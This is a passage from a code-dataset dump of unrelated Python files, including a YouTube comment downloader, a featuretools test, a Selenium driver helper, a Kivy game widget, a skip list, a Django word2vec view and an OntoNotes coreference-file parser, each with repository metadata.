\n\nax2.set_xlabel('Time')\nax.set_ylabel('Q_m3_s')\nax2.set_ylabel('h_m')\n\nplt.show()\n","repo_name":"lisapro/scripts_to_share","sub_path":"pd_read_csv.py","file_name":"pd_read_csv.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33105432658","text":"import math\nimport os\nimport os.path\nimport re\nimport sys\nimport unicodedata\nimport html\nimport urllib\nfrom urllib import request\nfrom random import randint\nimport youtube_common\nfrom googleapiclient import errors\n\n\ndef random_str(str_size):\n res = \"\"\n for i in range(str_size):\n x = randint(0,25)\n c = chr(ord('a')+x)\n res += c\n return res\n\n\ndef find_watch(text, pos):\n start = text.find(\"watch?v=\", pos)\n if start < 0:\n return None, None\n end = text.find(\" \", start)\n if end < 0:\n return None, None\n\n if end-start > 200:\n return None, None\n\n return text[start+8:end-1], start\n\n\ndef find_instance_links():\n base_url = 'https://www.youtube.com/results?search_query='\n url = base_url+random_str(3)\n\n r = urllib.request.urlopen(url).read().decode('utf-8')\n\n links = {}\n\n pos = 0\n while True:\n link, pos = find_watch(r,pos)\n if link == None or pos == None:\n break\n pos += 1\n\n if \";\" in link:\n continue\n links[link] = 1\n\n items_list = list(links.items())\n\n list_size = len(items_list)\n selected = randint(int(list_size/2), list_size-1)\n return items_list[selected][0]\n\n\ndef get_random_videos(number_of_videos):\n if number_of_videos == 0:\n return\n\n ids = []\n for _ in range(number_of_videos):\n ids.append(find_instance_links())\n\n return ids\n\n\ndef findkeys(node, kv):\n if isinstance(node, list):\n for i in node:\n for x in findkeys(i, kv):\n yield x\n elif isinstance(node, dict):\n if kv in node:\n yield node[kv]\n for j in node.values():\n for x in findkeys(j, kv):\n yield x\n\n\ndef sanitize_comment(given_comment):\n given_comment = html.unescape(given_comment) # Remove HTML characters\n given_comment = re.sub('<[^<]+>', \"\", given_comment) # Remove XML\n given_comment = re.sub(' +', ' ',given_comment) # Remove double spaces\n given_comment = given_comment.replace(' \\n', '\\n').replace('\\n ', '\\n') # Remove leading and trailing spaces\n given_comment = unicodedata.normalize('NFKD', given_comment).encode('ascii', 'ignore').decode('utf-8') # Filter out unicode\n given_comment = re.sub(u'(?imu)^\\s*\\n', u'', given_comment) # Remove empty lines\n\n return given_comment\n\n\ndef print_counter(counter):\n if counter != 0:\n print('\\b' * 8, end='')\n print('{}'.format(counter).ljust(8), end='')\n sys.stdout.flush()\n\n return counter + 1\n\n\n# Returns status: [already_exists, no_comments, saved, disabled_comments, other_http_error]\ndef save_youtube_comments(video_id, directory, skip_existing=True, skip_printing_counter=False):\n counter = 0;\n\n if os.path.exists(directory + '/' + video_id + '.txt') and skip_existing:\n return [1, 0, 0, 0, 0]\n else:\n\n try:\n if not skip_printing_counter:\n counter = print_counter(counter)\n\n comments = youtube_common.comment_threads_list_by_video_id(youtube_common.service,\n part='snippet,replies',\n videoId=video_id)\n\n last_page_token = (comments.get('nextPageToken', None))\n comments = list(findkeys(comments, 'textDisplay'))\n\n # If less than 10 comments, skip video\n if len(comments) < 10:\n return [0, 1, 0, 0, 0]\n else:\n\n file = open(directory + '/' + video_id + '.txt', 'w')\n file.write(sanitize_comment('\\n'.join(comments)))\n\n while last_page_token is not None:\n if not skip_printing_counter:\n counter = print_counter(counter)\n\n comments = youtube_common.comment_threads_list_by_video_id(youtube_common.service,\n part='snippet,replies',\n videoId=video_id,\n pageToken=last_page_token)\n\n last_page_token = (comments.get('nextPageToken', None))\n comments = list(findkeys(comments, 'textDisplay'))\n\n file.write(sanitize_comment('\\n'.join(comments)))\n\n file.close()\n\n return [0, 0, 1, 0, 0]\n\n except errors.HttpError as err:\n if err.__str__().find('disabled comments'):\n return [0, 0, 0, 1, 0]\n else:\n print('Error!' + err.__str__())\n return [0, 0, 0, 0, 1]\n\n\ndef videos_list_most_popular(service, **kwargs):\n kwargs = youtube_common.remove_empty_kwargs(**kwargs) # See full sample for function\n results = service.videos().list(\n **kwargs\n ).execute()\n\n return results\n\n\ndef findkeys(node, kv):\n if isinstance(node, list):\n for i in node:\n for x in findkeys(i, kv):\n yield x\n elif isinstance(node, dict):\n if kv in node:\n yield node[kv]\n for j in node.values():\n for x in findkeys(j, kv):\n yield x\n\n\ndef get_top_videos(number_of_videos):\n\n if number_of_videos == 0:\n return []\n\n results = videos_list_most_popular(youtube_common.service,\n part='snippet,contentDetails,statistics',\n chart='mostPopular',\n regionCode='US',\n videoCategoryId='',\n maxResults=50)\n\n ids = list(findkeys(results, 'id'))\n\n for _ in range(int(math.floor((number_of_videos/50)))-1):\n last_page_token = (results.get('nextPageToken', None))\n\n results = videos_list_most_popular(youtube_common.service,\n part='snippet,contentDetails,statistics',\n chart='mostPopular',\n regionCode='US',\n videoCategoryId='',\n maxResults=50,\n pageToken=last_page_token)\n\n ids = ids + list(findkeys(results, 'id'))\n\n return ids\n\n\n# todo: make this into an argument passed at program launch\nskip_existing = True\n\nnumber_of_top_videos = 200\nnumber_of_random_video_loops = 500\nskip_downloading_random_videos = False\n\nif number_of_top_videos == 0:\n print('Not downloading comments from top videos')\nelse:\n top_videos_to_get = get_top_videos(number_of_top_videos)\n\n # no_comments, already_exists, saved, disabled_comments, other_http_error\n statuses = []\n\n if skip_existing:\n print('Starting crawling of top {} comments and skipping comments from existing videos'.format(number_of_top_videos))\n else:\n print('Starting crawling of top {} comments and replacing existing comments'.format(number_of_top_videos))\n\n for i in range(len(top_videos_to_get)):\n print('\\r - Saving comments from video {} of {}: page '.format(i+1, len(top_videos_to_get)), end='')\n current_status = save_youtube_comments(top_videos_to_get[i], 'data/top_videos',\n skip_existing, skip_printing_counter=False)\n\n if len(statuses) == 0:\n statuses = current_status\n else:\n statuses = [sum(x) for x in zip(statuses, current_status)]\n\n # Returns status: [already_exists, no_comments, saved, disabled_comments, other_http_error]\n print('Comments from {}/{} videos downloaded'.format(statuses[2],sum(statuses)))\n print(' {} were already downloded'.format(statuses[0]))\n print(' {} had less than 10 comments'.format(statuses[1]))\n print(' {} had disabled comments'.format(statuses[3]))\n print(' {} other http errors'.format(statuses[4]))\n\nif skip_downloading_random_videos:\n print('Not downloading comments from random videos')\nelse:\n print('Downloading comments from random videos:')\n number_of_downloaded_videos = 0\n\n for _ in range(number_of_random_video_loops):\n video_ids = get_random_videos(50)\n\n for i in range(len(video_ids)):\n current_status = save_youtube_comments(video_ids[i], 'data/random_videos',\n skip_existing, skip_printing_counter=True)\n\n number_of_downloaded_videos += current_status[2]\n\n print('\\r Comments from {} videos downloaded'.format(number_of_downloaded_videos), end='')\n","repo_name":"tonnesfn/YoutubeCommentGenerator","sub_path":"download_comments.py","file_name":"download_comments.py","file_ext":"py","file_size_in_byte":8764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11523653939","text":"import numpy as np\nimport pandas as pd\n\nfrom featuretools.primitives import TitleWordCount\nfrom featuretools.tests.primitive_tests.utils import (\n PrimitiveTestBase,\n find_applicable_primitives,\n valid_dfs,\n)\n\n\nclass TestTitleWordCount(PrimitiveTestBase):\n primitive = TitleWordCount\n\n def test_strings(self):\n x = pd.Series(\n [\n \"My favorite movie is Jaws.\",\n \"this is a string\",\n \"AAA\",\n \"I bought a Yo-Yo\",\n ],\n )\n primitive_func = self.primitive().get_function()\n answers = [2.0, 0.0, 1.0, 2.0]\n np.testing.assert_array_equal(answers, primitive_func(x))\n\n def test_nan(self):\n x = pd.Series([np.nan, \"\", \"My favorite movie is Jaws.\"])\n primitive_func = self.primitive().get_function()\n answers = [np.nan, 0.0, 2.0]\n np.testing.assert_array_equal(answers, primitive_func(x))\n\n def test_with_featuretools(self, es):\n transform, aggregation = find_applicable_primitives(self.primitive)\n primitive_instance = self.primitive()\n transform.append(primitive_instance)\n valid_dfs(es, aggregation, transform, self.primitive)\n","repo_name":"alteryx/featuretools","sub_path":"featuretools/tests/primitive_tests/natural_language_primitives_tests/test_title_word_count.py","file_name":"test_title_word_count.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":6873,"dataset":"github-code","pt":"32"} +{"seq_id":"8976361132","text":"# !/usr/bin/env python\n# coding: utf-8\n\nimport os\nfrom selenium import webdriver\nfrom operatetest import config\n\n__all__ = [\"Driver\"]\n\n\nclass Driver:\n @classmethod\n def driver(cls):\n if hasattr(cls, \"_instance\"):\n return cls._instance\n\n _type = config.browser_type.lower()\n l = [\n (\"chrome\", \"chromedriver.exe\", webdriver.Chrome),\n (\"firefox\", \"geckodriver\", webdriver.Firefox),\n (\"ie\", \"IEDriverServer.exe\", webdriver.Ie),\n (\"phantomjs\", \"phantomjs.exe\", webdriver.PhantomJS),\n ]\n d = {i[0]: i for i in l}\n if _type not in d:\n raise UnSupportBrowserTypeError('仅支持%s!' % ', '.join(d.keys()))\n\n _instance = d[_type][2](executable_path=os.path.join(config.driver_dir, d[_type][1]))\n setattr(cls, \"_instance\", _instance)\n return _instance\n\n\n# def get_driver():\n# _type = config.browser_type.lower()\n# l=[\n# (\"chrome\",\"chromedriver.exe\",webdriver.Chrome),\n# (\"firefox\",\"geckodriver\",webdriver.Firefox),\n# (\"ie\",\"IEDriverServer.exe\",webdriver.Ie),\n# (\"phantomjs\",\"phantomjs.exe\",webdriver.PhantomJS),\n# ]\n# d = {i[0]:i for i in l}\n# if _type not in d:\n# raise UnSupportBrowserTypeError('仅支持%s!' % ', '.join(d.keys()))\n#\n# return l[_type][2](executable_path=os.path.join(config.driver_dir,l[_type][1]))\n\n\n\n\nclass UnSupportBrowserTypeError(Exception):\n pass\n\n #\n # class Driver11(object):\n # def __init__(self, browser_type='firefox'):\n # self._type = browser_type.lower()\n # if self._type in TYPES:\n # self.browser = TYPES[self._type]\n # else:\n # raise UnSupportBrowserTypeError('仅支持%s!' % ', '.join(TYPES.keys()))\n # self.driver = None\n #\n # def get(self, url, maximize_window=True, implicitly_wait=30):\n # self.driver = self.browser(executable_path=EXECUTABLE_PATH[self._type])\n # self.driver.get(url)\n # if maximize_window:\n # self.driver.maximize_window()\n # self.driver.implicitly_wait(implicitly_wait)\n # return self\n #\n # def save_screen_shot(self, name='screen_shot'):\n # day = time.strftime('%Y%m%d', time.localtime(time.time()))\n # screenshot_path = REPORT_PATH + '\\screenshot_%s' % day\n # if not os.path.exists(screenshot_path):\n # os.makedirs(screenshot_path)\n #\n # tm = time.strftime('%H%M%S', time.localtime(time.time()))\n # screenshot = self.driver.save_screenshot(screenshot_path + '\\\\%s_%s.png' % (name, tm))\n # return screenshot\n #\n # def close(self):\n # self.driver.close()\n #\n # def quit(self):\n # self.driver.quit()\n #\n #\n # def find_element(self,*args,**kwargs):\n # return self.driver.find_element(*args,**kwargs)\n #\n # def find_elements(self, *args, **kwargs):\n # return self.driver.find_elements(*args, **kwargs)\n","repo_name":"Rayixk/autotest","sub_path":"aw/webdriver/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30082356769","text":"from copy import copy\n\nfrom kivy.animation import Animation\nfrom kivy.clock import Clock\nfrom kivy.core.window import Window\nfrom kivy.graphics import *\nfrom kivy.properties import DictProperty\nfrom kivy.uix.widget import Widget\n\nfrom configurables import atariGridPos, atariGridSize, atariGridShape, atariColorGrid, brickOpeningDelay, \\\n brickFallTime, atariIdToPosGridInverted, brickFallTransition, posToAtariIdGrid, atariHitColorChange, \\\n atariHitRegenTime\n\n\nclass AtariBricks(Widget):\n darkened = DictProperty()\n\n def __init__(self, *args, **kwargs):\n super(AtariBricks, self).__init__(*args, **kwargs)\n\n self.hasOpened = True\n self.openingBrick = Widget()\n self.openedTimes = 0\n self.currentOpeningPos = 0, 0\n self.openedTimesMax = (atariGridShape[0] * atariGridShape[1]) - 1\n\n self.pos_hint = atariGridPos\n self.size_hint = atariGridSize\n\n self.atariBrickSize = 0, 0\n self.atariGrid = {}\n\n for i in range(atariGridShape[0] * atariGridShape[1]):\n self.darkened[i] = 1\n\n for brickX in range(atariGridShape[0]):\n self.atariGrid[brickX] = {}\n for brickY in range(atariGridShape[1]):\n self.atariGrid[brickX][brickY] = {\"visible\": False, \"color\": atariColorGrid[brickY]}\n\n self.bind(size=self.update_canvas)\n self.bind(size=self.update_atari_brick_size)\n\n def update_canvas(self, _=None, _size=None, _2=None):\n self.canvas.clear()\n\n with self.canvas:\n for brickX in self.atariGrid:\n for brickY in self.atariGrid[brickX]:\n Color(*self.atariGrid[brickX][brickY][\"color\"], v=self.darkened[posToAtariIdGrid[brickX][brickY]])\n if self.atariGrid[brickX][brickY][\"visible\"]:\n Rectangle(pos=(brickX * self.atariBrickSize[0] + self.pos[0],\n brickY * self.atariBrickSize[1] + self.pos[1]),\n size=self.atariBrickSize)\n\n if not self.hasOpened:\n with self.canvas:\n Color(*self.atariGrid[self.currentOpeningPos[0]][self.currentOpeningPos[1]][\"color\"])\n Rectangle(pos=(self.currentOpeningPos[0] * self.atariBrickSize[0] + self.pos[0],\n self.currentOpeningPos[1] * self.atariBrickSize[1] + self.openingBrick.y),\n size=self.atariBrickSize)\n\n def update_atari_brick_size(self, _=None, _size=None):\n self.atariBrickSize = Window.size[0] * atariGridSize[0] / atariGridShape[0], \\\n Window.size[1] * atariGridSize[1] / atariGridShape[1]\n\n def open(self):\n self.hasOpened = False\n\n self.add_widget(self.openingBrick)\n Clock.schedule_once(self.open_brick, brickOpeningDelay)\n\n def open_brick(self, _=None, _2=None):\n self.openingBrick.y = self.parent.height\n\n if self.openedTimes == self.openedTimesMax:\n self.hasOpened = True\n self.remove_widget(self.openingBrick)\n\n self.atariGrid[atariIdToPosGridInverted[self.openedTimes][0]] \\\n [atariIdToPosGridInverted[self.openedTimes][1]][\"visible\"] = True\n\n self.parent.atari_opening_done()\n\n else:\n Clock.schedule_once(self._open_brick, 0)\n\n self.atariGrid[atariIdToPosGridInverted[self.openedTimes][0]] \\\n [atariIdToPosGridInverted[self.openedTimes][1]][\"visible\"] = True\n\n self.openedTimes += 1\n try:\n self.currentOpeningPos = atariIdToPosGridInverted[self.openedTimes]\n except KeyError:\n pass\n\n def _open_brick(self, _=None):\n a = Animation(y=self.parent.height * atariGridPos[\"y\"], duration=brickFallTime,\n t=brickFallTransition)\n a.bind(on_complete=self.open_brick)\n a.bind(on_progress=self.update_canvas)\n a.start(self.openingBrick)\n\n def darken_brick(self, brickX, brickY, regenedCallback):\n self.darkened[posToAtariIdGrid[brickX][brickY]] = 1 - atariHitColorChange\n\n d = copy(self.darkened)\n d[posToAtariIdGrid[brickX][brickY]] = 1\n\n a = Animation(darkened=d, duration=atariHitRegenTime)\n a.bind(on_progress=self.update_canvas)\n a.bind(on_complete=(lambda _=None, _2=None, _3=None:\n regenedCallback() if self.atariGrid[brickX][brickY][\"visible\"] else _))\n a.start(self)\n\n def hide_brick(self, brickX, brickY):\n self.atariGrid[brickX][brickY][\"visible\"] = False\n\n self.update_canvas()\n\n","repo_name":"GreenJon902/DefendTheSkin-AtariBreakout","sub_path":"atariBricks.py","file_name":"atariBricks.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30069471577","text":"\"\"\"\r\n\n\nAn **island is a region of contiguous ones**. A contiguous one is a `1` that\nis touched by at least one other `1`, either **horizontally** , **vertically**\nor **diagonally**. Given a piece of the map, represented by a 2-D list, create\na function that returns the area of the largest island.\n\nTo illustrate, if we were given the following piece of the map, we should\nreturn `4`.\n\n [\n [0, 0, 0],\n [0, 1, 1],\n [0, 1, 1]\n ]\n\nOur function should yield `2` for the map below:\n\n [\n [1, 0, 0],\n [0, 0, 1],\n [0, 0, 1]\n ]\n\nOur function should yield `4` for the map below: :\n\n [\n [1, 0, 0],\n [0, 1, 1],\n [0, 0, 1]\n ]\n\n### Examples\n\n largest_island([\n [1, 0, 0], \n [0, 0, 0], \n [0, 0, 1]\n ])\n \n ➞ 1\n \n largest_island([\n [1, 1, 0], \n [0, 1, 1], \n [0, 0, 1]\n ])\n \n ➞ 5\n \n largest_island([\n [1, 0, 0], \n [1, 0, 0], \n [1, 0, 1]\n ])\n \n ➞ 3\n\n### Notes\n\n * Maps can be any `m x n` dimension.\n * Maps will always have at least 1 element. `m >= 1` and `n >= 1`.\n\n\"\"\"\r\n\ndef largest_island(lst):\n m = 0\n visited = set()\n nb = [(i, j) for i in range(-1, 2) for j in range(-1, 2) if i or j]\n \n for i, r in enumerate(lst):\n for j, c in enumerate(r):\n if c and (i, j) not in visited:\n length = 1\n visited.add((i, j))\n stack = [(i, j)]\n \n while stack:\n cr, cc = stack.pop()\n \n for y, x in [(cr+nr, cc+nc) for nr, nc in nb if 0<=cr+nr keys[idx]:\n print(\" \", end=\" \")\n idx += 1\n idx += 1\n print(\"{:2d}\".format(node.key), end=\" \")\n node = node.tab_next[lvl]\n print(\"\")\n\n\ndef main():\n test = SkipList(4)\n values = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O']\n for i in range(1, 16):\n test.insert(i, values[i - 1])\n test.displayList_()\n print(test.search(2))\n test.insert(2, 'Z')\n print(test.search(2))\n test.remove(5)\n test.remove(6)\n test.remove(7)\n print(test)\n test.insert(6, 'W')\n print(test, '\\n')\n\n test2 = SkipList(4)\n for i in range(15, 0, -1):\n test2.insert(i, values[i - 1])\n test2.displayList_()\n print(test2.search(2))\n test2.insert(2, 'Z')\n print(test2.search(2))\n test2.remove(5)\n test2.remove(6)\n test2.remove(7)\n print(test2)\n test2.insert(6, 'W')\n print(test2, '\\n')\n\n\nmain()\n\n","repo_name":"bkwasny1/Algoritms-in-python","sub_path":"skip-list/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17884944509","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom gensim.models import Word2Vec\n\n# Create your views here.\ndef index(request):\n context = {'a':'Hello'}\n return render(request,'index.html',context)\n #return HttpResponse()\ndef predictMPG(request):\n # print(context)\n if request.method == 'POST':\n # print(request.POST.dict())\n model = Word2Vec.load('./models/model.bin')\n chr = request.POST.get('cylinderVal')\n topten = [i[0] for i in model.wv.most_similar(str(chr))]\n context = {\n 'cylinderVal':str(chr),\n 'topsimilar':topten}\n # print(topten)\n return render(request,'index.html',context)","repo_name":"ak9969/Django-practie","sub_path":"word2vec/firstpage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36393710088","text":"import os\n\nimport chalk\nimport click\n\n\n@click.group()\ndef gif():\n \"\"\"\n Create gif from images or video. Hi, my name is jif!!!\n\n This command takes arbitary number of arguments.\n All arguments except source and output are passed to imageio's save call.\n This can be used to alter gif export process.\n e.g.\n yoda gif from-images --source gif_frames/ --output test.gif --fps 30\n sets fps of the gif to 30/s.\n \"\"\"\n\n\n@gif.command(\n name=\"from-images\",\n context_settings=dict(ignore_unknown_options=True, allow_extra_args=True),\n)\n@click.pass_context\ndef from_images(ctx):\n #importing imageio in theis function improves load time for all yoda commands\n import imageio\n\n args = {\n ctx.args[i].strip(\"--\"): ctx.args[i + 1] for i in range(0, len(ctx.args), 2)\n }\n try:\n source = args.pop(\"source\")\n except KeyError:\n click.echo(\n chalk.red(\n \"Source parameter is missing. \" \"Use --source to provide the path.\"\n )\n )\n return\n try:\n output = args.pop(\"output\")\n except KeyError:\n click.echo(\n chalk.red(\"Output path is missing. \" \"Use --output to provide the path.\")\n )\n return\n images = []\n if not os.path.isdir(source):\n click.echo(chalk.red(\"Source should be a directory.\"))\n for filename in os.listdir(source):\n if os.path.isfile(os.path.join(source, filename)):\n images.append(imageio.imread(os.path.join(source, filename)))\n\n try:\n with open(output, \"w\") as outfile:\n imageio.mimsave(outfile, images, format=\"gif\", **args)\n click.echo(chalk.green(\"GIF exported at {}\".format(output)))\n except (OSError, IOError):\n click.echo(\n chalk.red(\n \"Could not write to file {}. \" \"Please check the path\".format(output)\n )\n )\n","repo_name":"yoda-pa/yoda","sub_path":"modules/gif.py","file_name":"gif.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":722,"dataset":"github-code","pt":"32"} +{"seq_id":"27336369711","text":"import re\nfrom pathlib import Path\nimport config\nfrom transformers import AutoTokenizer\nimport json\n\n\n\nclass Onf(object):\n\n SECTION_SEP = \"========================================================================================================================\"\n SENTENCE_SEP = \"------------------------------------------------------------------------------------------------------------------------\"\n\n def __init__(self, onf_file_path, config):\n self.onf_file_path = onf_file_path\n self.config = config\n\n\n def read_block(self, lines, start_line):\n \"\"\" 读入一个块\n 返回块内容,块结束行号\n \"\"\"\n if lines[start_line] != self.SENTENCE_SEP and lines[start_line] != self.SECTION_SEP:\n raise Exception(\"块格式有误\")\n \n block_content = list()\n while True:\n block_content.append(lines[start_line])\n start_line += 1\n if start_line >= len(lines) or lines[start_line] == self.SENTENCE_SEP or lines[start_line] == self.SECTION_SEP:\n break\n \n return block_content, start_line\n\n\n def onf_to_sections(self):\n \"\"\" 将onf文件分割成多个sections\n \"\"\"\n\n # 读入所有内容\n lines = list()\n with open(self.onf_file_path, \"r\", encoding=\"utf-8\") as fd:\n for line in fd:\n lines.append(line.strip())\n\n # 按行处理\n line_i = 0\n sections = list()\n section = Section(start_line=0)\n\n while True:\n\n line = lines[line_i]\n\n if line == self.SECTION_SEP:\n # section 基本结束,读入指代汇总信息\n block_content, line_i = self.read_block(lines, line_i)\n section.add_coref_block(block_content)\n if section.check_section() == False:\n raise Exception(\"Section 解析出错\")\n sections.append(section)\n start_line = section.get_lines_num() + section.start_line\n section = Section(start_line=start_line)\n\n elif line == self.SENTENCE_SEP:\n # 句子开始\n block_content, line_i = self.read_block(lines, line_i)\n section.add_sentence_block(block_content)\n else:\n raise Exception(\"Section 格式有误\")\n\n if line_i >= len(lines):\n break\n \n return sections\n\n\n def onf_to_examples(self, tokenizer):\n \"\"\" 将onf文件转化为模型易处理的输入-按section分成多个样本\n \"\"\"\n sections = self.onf_to_sections()\n examples = list()\n for i, section in enumerate(sections):\n example = section.section_to_example(tokenizer, self.config[\"max_seq_length\"])\n example[\"genre\"] = self.get_onf_genre()\n example[\"doc_key\"] = str(self.onf_file_path) + \"_\" + str(i)\n examples.append(example)\n return examples\n\n\n def onf_to_example(self, tokenizer):\n \"\"\" 将onf文件转化为模型易处理的输入-将多个section合并成一个样本\n \"\"\"\n\n def add_bias(src, bias):\n if type(src) is list:\n res = list()\n for element in src:\n new_element = add_bias(element, bias)\n res.append(new_element)\n return res\n else:\n return src + bias\n\n\n sections = self.onf_to_sections()\n final_example = {\"sentences\": list(), \"clusters\": list(), \"speaker_ids\": list(), \"sentence_map\": list(), \"subtoken_map\": list(), \"genre\": self.get_onf_genre(), \"doc_key\": str(self.onf_file_path)}\n clusters_bias = 0\n for i, section in enumerate(sections):\n example = section.section_to_example(tokenizer, self.config[\"max_seq_length\"])\n final_example[\"sentences\"].extend(example[\"sentences\"])\n final_example[\"clusters\"].extend(add_bias(example[\"clusters\"], clusters_bias))\n final_example[\"speaker_ids\"].extend(example[\"speaker_ids\"])\n final_example[\"sentence_map\"].extend(example[\"sentence_map\"])\n final_example[\"subtoken_map\"].extend(example[\"subtoken_map\"])\n clusters_bias += sum([len(s) for s in example[\"sentences\"]])\n\n return [final_example]\n\n\n def get_onf_genre(self):\n \"\"\" 得到onf文件类型\n \"\"\"\n words = self.onf_file_path.parts\n for word in words:\n for i, genre in enumerate(self.config[\"genres\"]):\n if word == genre:\n # 匹配了对应的类型\n return genre\n\n # 未匹配上类型\n return \"Unknown\"\n\n\n\nclass Section(object):\n\n PLAIN_SENTENCE_MARK = \"Plain sentence:\"\n TREEBANKED_SENTENCE_MARK = \"Treebanked sentence:\"\n SPEAKER_MARK = \"Speaker information:\"\n TREE_MARK = \"Tree:\"\n LEAVES_MARK = \"Leaves:\"\n COREF_MARK = \"Coreference chains for section\"\n COREF_LOC_PATTERN = r\"\\d+\\.\\d+-\\d+\"\n\n\n def __init__(self, start_line=0):\n self.plain_sentence_list = list()\n self.treebanked_sentence_list = list()\n self.tree_list = list()\n self.speaker_list = list()\n self.leaves_list = list()\n self.coref_chains = list()\n self.start_line = start_line\n\n\n def get_lines_num(self):\n \"\"\" 得到section中句子数量\n \"\"\"\n return len(self.plain_sentence_list)\n\n def sentence_is_break(self, sentence):\n \"\"\" 判断句子是否是分界句\n \"\"\"\n for t in sentence:\n if t != \"-\":\n return False\n return True\n\n def sentence_is_valid(self, sentence, speaker_ids):\n \"\"\" 判断句子是否是有效的\n \"\"\"\n return len(speaker_ids) > 0 and speaker_ids[0] != \"\"\n\n\n def check_section(self):\n \"\"\" 检测该section的有效性\n \"\"\"\n return len(self.plain_sentence_list) == len(self.treebanked_sentence_list) == len(self.tree_list) == len(self.speaker_list) == len(self.leaves_list)\n\n def read_piece(self, sentence_block, line_i):\n \"\"\" 读入块中的片\n \"\"\"\n piece = list()\n line_i += 1\n if not self.sentence_is_break(sentence_block[line_i]):\n raise Exception(\"片格式有误\")\n \n while True:\n line_i += 1\n if line_i + 2 >= len(sentence_block) or (sentence_block[line_i + 2] != \"\" and self.sentence_is_break(sentence_block[line_i + 2])):\n break\n piece.append(sentence_block[line_i])\n \n line_i += 1\n return piece, line_i\n\n def read_coref_chain(self, coref_block, line_i):\n \"\"\" 读入一条指代链\n \"\"\"\n if coref_block[line_i][:5] != \"Chain\":\n raise Exception(\"指代链格式有误\")\n \n _, cid, _ = coref_block[line_i].split()\n corefs = list()\n while True:\n line_i += 1\n if line_i >= len(coref_block) or coref_block[line_i] == \"\":\n break\n corefs.append(coref_block[line_i].split())\n\n line_i += 1\n return cid, corefs, line_i\n\n\n def section_to_example(self, tokenizer, max_seq_length):\n \"\"\" 将section转化为模型输入\n \"\"\"\n\n # 将treebanked_sentence分割为词\n sentence_words = list()\n for treebanked_sentence in self.treebanked_sentence_list:\n words = treebanked_sentence.split(\" \")\n sentence_words.append(words)\n \n # 将指代链解析成需要格式\n formatted_coref_chains = list()\n line_corefs = dict() # 按行组织指代\n for coref_chain in self.coref_chains:\n formatted_coref_chain = list()\n for coref in coref_chain:\n if re.match(self.COREF_LOC_PATTERN, coref[0]) is not None:\n loc = coref[0]\n elif len(coref) > 1 and re.match(self.COREF_LOC_PATTERN, coref[1]) is not None:\n loc = coref[1] # 有部分指代��格式开头不是行号\n else:\n continue # 有部分换行的指代\n line_num, line_loc = loc.split(\".\")\n line_start, line_end = line_loc.split(\"-\")\n line_num = int(line_num) - self.start_line\n formatted_coref = [line_num, int(line_start), int(line_end) + 1]\n formatted_coref_chain.append(formatted_coref)\n if line_num not in line_corefs:\n line_corefs[line_num] = list()\n line_corefs[line_num].append(formatted_coref)\n\n formatted_coref_chains.append(formatted_coref_chain)\n \n sentences = list()\n subtoken_map = list()\n sentence_map = list()\n speaker_ids = list()\n subtoken_index = 0\n # tokenize每个词,更新指代链\n for line_num, words in enumerate(sentence_words):\n tokens = list()\n sentence_subtoken_map = list()\n\n for word in words:\n if word[0] != \"*\":\n tokenized_word = tokenizer.tokenize(word)\n subtoken_index += 1\n else:\n tokenized_word = list()\n\n for _ in range(len(tokenized_word)):\n sentence_subtoken_map.append(subtoken_index)\n\n # 更新指代链\n if line_num in line_corefs:\n for coref in line_corefs[line_num]:\n if coref[1] > len(tokens):\n coref[1] += len(tokenized_word) - 1\n coref[2] += len(tokenized_word) - 1\n\n elif coref[2] > len(tokens):\n coref[2] += len(tokenized_word) - 1\n\n tokens.extend(tokenized_word)\n\n sentences.append(tokens)\n subtoken_map.append(sentence_subtoken_map)\n sentence_map.append([line_num] * len(tokens))\n speaker_ids.append([self.speaker_list[line_num]] * len(tokens)) \n\n output_sentences = list()\n output_subtoken_map = list()\n output_sentence_map = list()\n output_speaker_ids = list()\n tmp_sentences = list()\n tmp_subtoken_map = list()\n tmp_sentence_map = list()\n tmp_speaker_ids = list()\n bias = 0 # 位置偏置\n line_num = 0\n # 按配置划分聚合句子\n while line_num < len(sentences):\n sentence = sentences[line_num]\n sentence_token_num = len(sentence)\n if len(tmp_sentences) > 0 and sentence_token_num + len(tmp_sentences) > max_seq_length:\n # 句子超出了范围,作为下一个长句的开始\n output_sentences.append(tmp_sentences)\n output_subtoken_map.append(tmp_subtoken_map)\n output_sentence_map.append(tmp_sentence_map)\n output_speaker_ids.append(tmp_speaker_ids)\n tmp_sentences = list()\n tmp_subtoken_map = list()\n tmp_sentence_map = list()\n tmp_speaker_ids = list()\n else:\n # 句子没超出范围\n tmp_sentences.extend(sentence)\n tmp_subtoken_map.extend(subtoken_map[line_num])\n tmp_sentence_map.extend(sentence_map[line_num])\n tmp_speaker_ids.extend(speaker_ids[line_num])\n # 更新指代链\n if line_num in line_corefs:\n for coref in line_corefs[line_num]:\n coref[1] += bias\n coref[2] += bias\n bias += sentence_token_num\n line_num += 1\n\n if len(tmp_sentences) > 0:\n output_sentences.append(tmp_sentences)\n output_subtoken_map.append(tmp_subtoken_map)\n output_sentence_map.append(tmp_sentence_map)\n output_speaker_ids.append(tmp_speaker_ids)\n\n output_clusters = list()\n for formatted_coref_chain in formatted_coref_chains:\n if len(formatted_coref_chain) > 1:\n cluster = list()\n for coref in formatted_coref_chain:\n if coref[1] != coref[2]:\n cluster.append([coref[1], coref[2] - 1])\n if len(cluster) > 1:\n output_clusters.append(cluster)\n\n return {\"sentences\": output_sentences, \"clusters\": output_clusters, 